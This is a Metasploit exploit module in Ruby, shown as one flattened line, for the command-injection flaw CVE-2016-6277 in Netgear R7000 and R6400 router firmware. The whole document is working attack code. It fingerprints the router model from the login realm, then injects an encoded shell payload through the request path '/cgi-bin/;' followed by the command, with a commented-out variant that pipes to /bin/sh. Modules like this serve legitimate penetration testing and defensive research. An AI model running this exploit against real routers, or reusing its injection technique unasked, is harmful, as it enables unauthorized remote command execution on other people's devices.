## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => "Netgear R7000 and R6400 cgi-bin Command Injection", 'Description' => %q{ This module exploits an arbitrary command injection vulnerability in Netgear R7000 and R6400 router firmware version 1.0.7.2_1.1.93 and possibly earlier. }, 'License' => MSF_LICENSE, 'Platform' => 'unix', 'Author' => ['thecarterb', 'Acew0rm'], 'DefaultTarget' => 0, 'Privileged' => false, 'Arch' => [ARCH_CMD], 'Targets' => [ [ 'Automatic Target', { } ] ], 'References' => [ [ 'EDB', '40889'], [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=305'], [ 'URL', 'https://www.kb.cert.org/vuls/id/582384'], [ 'URL', 'http://kb.netgear.com/000036386/CVE-2016-582384'], [ 'CVE', '2016-6277'] ], 'DisclosureDate' => 'Dec 06 2016', 'Payload' => { 'Space' => 1024, 'DisableNops' => true, 'BadChars' => "\x20" } )) register_options( [ Opt::RPORT(80) ], self.class) end def scrape(text, start_trig, end_trig) text[/#{start_trig}(.*?)#{end_trig}/m, 1] end # Requests the login page which discloses the hardware, if it's an R7000 or R6400, return Detected def check res = send_request_cgi({'uri'=>'/'}) if res.nil? fail_with(Failure::Unreachable, 'Connection timed out.') end # Checks for the `WWW-Authenticate` header in the response if res.headers["WWW-Authenticate"] data = res.to_s marker_one = "Basic realm=\"NETGEAR " marker_two = "\"" model = scrape(data, marker_one, marker_two) vprint_status("Router is a NETGEAR router (#{model})") if model == 'R7000' || model == 'R6400' print_good("Router may be vulnerable (NETGEAR #{model})") return CheckCode::Detected else return CheckCode::Safe end else print_error('Router is not a NETGEAR router') return CheckCode::Safe end end # Mostly from ddwrt_cgibin_exec.rb, it's essentially the same exploit def exploit is_vuln = check cmd = payload.encoded # .unpack("C*").map{|c| "\\x%.2x" % c}.join #str = "echo${IFS}-ne${IFS}\"#{cmd}\"|/bin/sh&" print_status('Sending encoded command...') vprint_status("Encoded command: #{cmd}") send_request_cgi({ 'uri' => "/cgi-bin/;#{cmd}" }) print_status('Giving the handler time to run...') handler sleep(10) end end